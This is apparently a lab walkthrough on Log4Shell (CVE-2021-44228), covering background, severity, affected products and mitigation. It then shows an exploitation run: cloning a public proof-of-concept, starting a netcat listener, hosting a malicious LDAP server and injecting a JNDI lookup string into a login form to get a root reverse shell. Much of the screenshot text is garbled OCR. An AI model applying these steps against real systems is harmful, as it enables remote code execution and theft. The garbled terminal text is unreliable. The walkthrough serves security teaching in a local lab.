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Introduction

Log4j JNDI LDAP

This document illustrates the exploitation of the vulnerability found in a
logging library for Java Log4j where Apache Log4j2 versions 2.0-beta7
through 2.15.0 (excluding security fix releases 2.3.2 and 2.12.4) are
vulnerable. The wvulnerability was unnoticed since 2013 and was
confidentially disclosed to the Apache Software Foundation, of which Log4j
is a project, by Chen Zhaojun of Alibaba Cloud's security team on
24/11/2021, and was publicly disclosed on 9/12/2021.

CVE—2021-44228: This Vulnerability takes the advantage of Apache
Log4j's allowing requests to arbitrary LDAP and JNDI servers, where an
attacker can control incoming file messages or log message parameters and
may upload malicious code to servers if switching to the message view is
enabled. Allowing the attacker to perform Remote Code Execution or steal
sensitive Information from an organization’s internal servers.
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Introduction

What is Log4j?

Apache Log4j is an open-source Java-based logging utility.
Log4j records events — errors & routine system operations — and communicates
diagnostic messages about them to users & system administrators.

What is LDAP?

Lightweight Directory Access Protocol
(LDAP) is an open & cross-platform
protocol which is used for directory service
authentication.

LDAP allows applications to communicate
with other directory service servers.

What is JNDI?

Java Naming and Indexing Interface
(JNDI) is an application programming
interface (API) that provides naming and
indexing functionality to applications
written using the Java.

Java Application
JNDIAPI
NAMING MANAGEER
JINDISPI
o | [oms | [5] [50] [ oo
1 1 11 11
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Vulnerability Severity

CVSS v3

Base Score: 10.0

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:C/C:H/I:H/A:H
Impact Subscore:6.0

Exploitability Subscore:3.9

Confidentiality Impact : High

Integrity Impact :  High
Availability Impact :  High
SCOPE OF IMPACT

e 2.0-betag <= Apache Log4j <= 2.12.1
e 2.13.0<= Apache Log4j <= 2.15.0-rc1

Known affected applications and components :

Most VMware products
Jedis

Logging

Logstash

Hikari CP

Hadoop Hive

Elastic Search

Apache Solr

Apache Struts2

Apache Flink

Apache Druid

Apache Log4j SLF4J Binding
spring-boot-strater-log4j2
Camel: Core

JBoss Logging 3

JUnit Vintage Engine
WSO2 Carbon Kernel Core

CVE-2021-44228



MITIGATION

N

\

e Upgrade to Log4j version 2.3.1 for Java 6, 2.12.3 for Java 7, or 2.17.0 for Java 8
and later.
e Otherwise, any release other than 2.16.0, you may remove the “JndiLookup” class
from the classpath:
“zip -q -d log4j-core-* jar org/apache/logging/log4j/core/lookup/JndiLookup.class”

Note:

e Only the loggj-core JAR file is impacted by this vulnerability. Applications using
only the logg4j-api JAR file without the loggj-core JAR file are not impacted by
this vulnerability.

e Apache Log4j is the only Logging Services affected by this vulnerability. Projects
like Log4net and Log4cxx are not impacted by this Vulnerability”
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EXPLOIT IMPLEMENTATION

Attack Scenario:

We will be setting up a Lab in Docker running on the Virtual machine Kali
[ ]

With the help of Burpsuite, we will scan the lab for the Log4shell vulnerability

. By using python exploit script, we will execute the attack

EXPLOITATION

1.

Download and setup the lab inside Kali virtual machine

git clone https://github.com/kozmer/log4j-shell-poc.git

File Actions Edit View Help

Desktop

— - [~/Desktop ]
— ir Log&jlLab

—[~/Desktop ]

pack-reused 3
7 MiB/s, done.

~[~/Desktop/Logé&jLab ]
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2. Enter the downloaded git poc directory

cd log4j-shell-poc

period after ‘poc’)

3. Now build the docker file containing vulnerable application (please ensure adding the

docker build -t log4j-shell-poc .

£ kali@kali: ~/Desktop/Log4jLab/logdj-shell-poc

File Actions Edit View Help

-[~/Desktop/Log&jLab |

-[~/Desktop/Log4jLab/log4j-shell-poc]
e - * build log4j-shell-poc .
[sudo] password for kali:
nding build contex r d
-jr
Pulling from library/tomcat
Pull complete
Pull complete
Pull complete
Pull complete
Pull complete

Pull complete
Pull complete
Pull comple
Pull comple

5e6195d
omcat:8.0

RUN rm -rf
— Running in c

rmediate contalner cé

Step 5/5 : CMD [
— Running in

Removing inter
— ;

~[~/Desktop/Log&jLab/log4j-shell-poc]
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4. Run and enable the docker file to access the vulnerable application.

docker run --network host log4j-shell-poc

File Actions Edit View Help

host 1
61 INFO [main]

INFO [main]
INFO [main]
INFO [main]
667 INFO [main]

[main]

[main]

1-bi14
[main]
[main]

7.671 INFO [main]

INFO [main]

ibrary 1
INFO [main
[true],
INFO [main
L 1.8.2h
INFO [main]
INFO [main]
INFO [main]
INFO [main]
INFO [main]

INFO

ompilation time.
INFO [loc

INFO [main]

INFO [main]

org.a

org.:

org.:

org.:

org.:

or

org.a

org.

org.a

org

org

kali@kali: ~/Desktop/LogdjLabflogdj-shell-poc

-[~/Desktop/Log&jLab/logtj-shell-poc]

sionLoggerlLi sion:
.VersionLoggerl i er.l ver built:
.VersionLoggerli er. number :
sionLog
sionlLogg
sionLog
sionLog i g Home :
rsionLoggerli : g JVM Version:
.VersionLe rListener. JVM Vendor:
apache ina. pr . oggerli er. CATALTNA_BASE:
CATALINA_HOME:
Command line argument
Command 1i argument
g Command line argument
.VersionLoggerli er.log Command line argument
.VersionLoggerli er.log Command line argument

.VersionLe rLi er.log Command line ment

.VersionLoggerli er.log Command line argument

nt Loa APR bas

ndardEngine.st
tup.HostConfig.depl

iche.tomcat.util.descriptor.web

Config.depl R Deploymen
ms
: Pro 1Handler ["http-ap

rting ProtocolHandler ["ajp-apr
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5. Now we have a vulnerable application available and running on docker inside Kali
Linux on port number 8080. We can check the vulnerable application on your browser
using two ways: -

1. By entering localhost with port number

2. By entering the IP address with port number

We can check the IP address using ifconfig command

ifconfig

kali@kali: ~

File Actions Edit View Help

etha:

collisions

I

& 192.168.29.122:808

Kali Linux #s Kali Tools « Kali Docs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB offsec

Hello Again!

Welcome Back

GoFinance

The most popular peer to peer lending at SEA

Forgot Password ?
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6. We can use Burpsuite to check if the lab running on 192.168.29.122:8080 is
vulnerable to the loggshell vulnerability using the Log4shell Scanner. In
Burpsuite, you can download Log4scanner extension

Author:
Version:
Source: http
Updated:
Rating:
Popularity:

Reinstall

6.1 Intercept the vulnerable application inside Burpsuite and send it to the scan
option
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6.2 Select audit checks — extensions only library

@. Scan Configuration

Scan details Select configurations to control how the scan is carried out. You can select multiple configurations, and these will be applied in turn to determine
the final configuration that is used for the scan. If no configurations are sel i

Name Function Built-in

Scan
configuration

[yl .
Built-in | Custom
2]

Name Function Last used ~ Built-in

Audit checks - all pt JavaScript analysis Auditing
Audit checks - all except time-based detection methods Auditing
Audit checks - critical issues only Auditing
Audit checks - extensions only Auditing
Audit checks - light active Auditing
Audit checks - medium active Auditing
Audit checks - passivi Auditing
Audit coverage - maximum Auditing
Audit coverage - thorough Auditing
Minimize false negatives Auditing
Minimize false positives Auditing
Mever stop audit due to application errors Auditing

L L L S L L

Select from library

% New scan

é:. Scan Configuration

Scan details configurations to control how the scan is carried out. You can se le configurations, and these will be applied in turn to
mine the final configuration that is used for the scan. If no configurations are selected, then Burp Scanner's default settings will be

Scan
configuration Audit checks - extensions only ~

Name Function Built-in

Import

Select from library

Cancel
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6.4 As you can see in the picture below, Burpsuite scan found that this application is
vulnerable to the Loggshell vulnerability

> Ik hitp://192.168.29.122:8080 Contents

Log4Shell (CVE-2021-44228) - synchronous

OFrz" ble response (potential

http://192.168.29.122... GET

Request  Response
Raw Hex

Log4Shell (CVE-2021-44228) - synchronous ¢

Log4Shell (CVE-2021-44228) - synchronous
High
ence: Tentative
http://192.168.29.122:8080
/login

Note: This issue was

Issue detail

T atio ed with the Collaborator server in response to a request w

«» DNS 3t 2022-Jan-11 08:54:15 UTC from 49.45.31.4
«» DNS at 2022-Jan-11 08:54:17 UTC from 49.45.31.4
By the host named kali at 2022-Jan-11 08:54:18 UTC from 49.45.31.4

7. Download the Java version that is vulnerable to the Log4shell vulnerability from the
below link

https://mirrors.huaweicloud.com/java/jdk/8u202-bo8/

= kali@kali: ~/Desktop/Log4djLab/log4dj-shell-poc

File Actions Edit View Help

~/Desktop/Log&jLab/log4j-shell-poc
t https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u2@2-1inux-x64.tar.gz
—2022-01-12 04:43:17— https://mirrors.huaweicloud.com/java/jdk/8u202-b@8/jdk-8u202-1linux-x64.
tar.gz
Resolving mirrors.huaweicloud.com (mirrors.huaweicloud.com) ... 124.708.126.167, 124.7@.125.153, 1

24.70.125.167,
Connecting to mirrors.huaweicloud.com (mirrors.huaweicloud.com)|124.70.126.167|:443 ... connected

HTTP request sent, awaiting response... 200
Length: 194042837 (185M) [application/octet-stream]
Saving to: ‘jdk-8u202-linux-x64.tar.gz’

jdk-8u2@82-linux-x64.tar 100%[ ] 185.85M 6.47MB/s in 33s

2022-81-12 B4:43:56 (5.62 MB/s) - 'jdk-8u2@2-linux-x64.tar.gz' saved [194042837/194042837]

~/Desktop/Log4jLab/loghj-shell-poc]
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7.1 Extract the downloaded java archive file inside the log4j-shell-poc directory

tar -xf jdk-8u202-linux-x64.tar.gz

k.

kalii@kali: ~/DesktopfLogdjLabflogdj-shell-poc

File Actions Edit View Help

-[~/Desktop/Log&jLab/log4j-shell-poc]
jdk-8u linux-x64.tar.gz

-[~/Desktop/Log4jLab/logsj-shell-poc]

8. Set the location of Java that we just extracted inside the python script poc.py

log4dj-shell-poc
File Edit View Go Help

€ 92 N & « Akali MWDesktop Log4jlab logdj-shell-poc

Places
1 Computer H '!.

B kali
e jdk1.8.0_202 target vulnerable- Dockerfile (-8uU202 poc.py
.. Desktop - G
application
¥ Trash x64.tar.gz
=

Documents
Music .
Pictures

README . md

Videos
Downloads
Devices
[ File system
Network

[ Browse Netwo..

"jdk1.8.0_202": folder

CVE-2021-44228
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Edit these lines inside poc.py

~/Desktop/Log4jLab/log4]-shell-poc/poc.py
File Edit Search View Document Help

,Iport: int)->

serip, webport))

webport}7)
, webport), SimpleHTTPRequestHandler)

(userip: str, lport: int) ->

EEN +f
format(userip, Iport)
([
(CUR_FOLDER,

on port 9001.

9. Open a new terminal window and execute the netcat command to start listening

nc -lvp 9oo1

- kali@kal: ~
File Actions Edit View Help

—[~

0001

listening on [any] 9001

CVE-2021-44228
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10. Now we have to run the python script poc.py as it contains the malicious local
LDAP server.

python3 poc.py --userip 192.168.29.122 --webport 8000 --lport 9001

kali@kali: ~/Desktop/Log4jLab/log4j-shell-poc
File Actions Edit View Help

~/Desktop/Log4jLab/log4j-shell-poc
oc.py 192.168.29.122 8000

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389

Copy the LDAP command displayed in the exploit

${indi:ldap://192.168.29.122:1389/a}

Paste the LDAP command we just copied inside the username field, enter anything
inside the password field and press Login.

= 192.168.29.122:8080 x

i X @

Kali Linux @& Kali Tools » i Forums ¢ Kali NetHunter Exploit-DB Google Hacking DB offsec

Hello Again!

Welcome Back
GoFinance S{indildap:192.166.29.122
The most popular peer to peer lending at SEA
jorwal

Forgot Password 7

CVE-2021-44228
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Switch to the netcat terminal window and run the Is -la command

T kali@kali: ~

File Actions Edit View Help

listening on [any] 9001 ...

192.168.29. 1 rse host lookup failed: Unknown host
connect to 2. 1¢ 29, from (UNKNOWN) [192.168.29.
id

uld=@(root) gid=8(root) groups=0(root)

root

root

root

root

root

root

root r 4@96
root T 5096 conf

root a L@96 include

root r 496 g lib

root r 4996 Ja 06: logs

root a L@96 native-jni-lib
root r 4B96 g 3 temp

root r t 4B96 !

root root 4096

LICENSE
NOTICE
RELEASE-NOTES
RUNNING.txt
bin

o -
el el = == I = ST =

As you can see in the netcat terminal window we have the reverse shell, we are now
inside the webapp docker image using the Log4shell vulnerability
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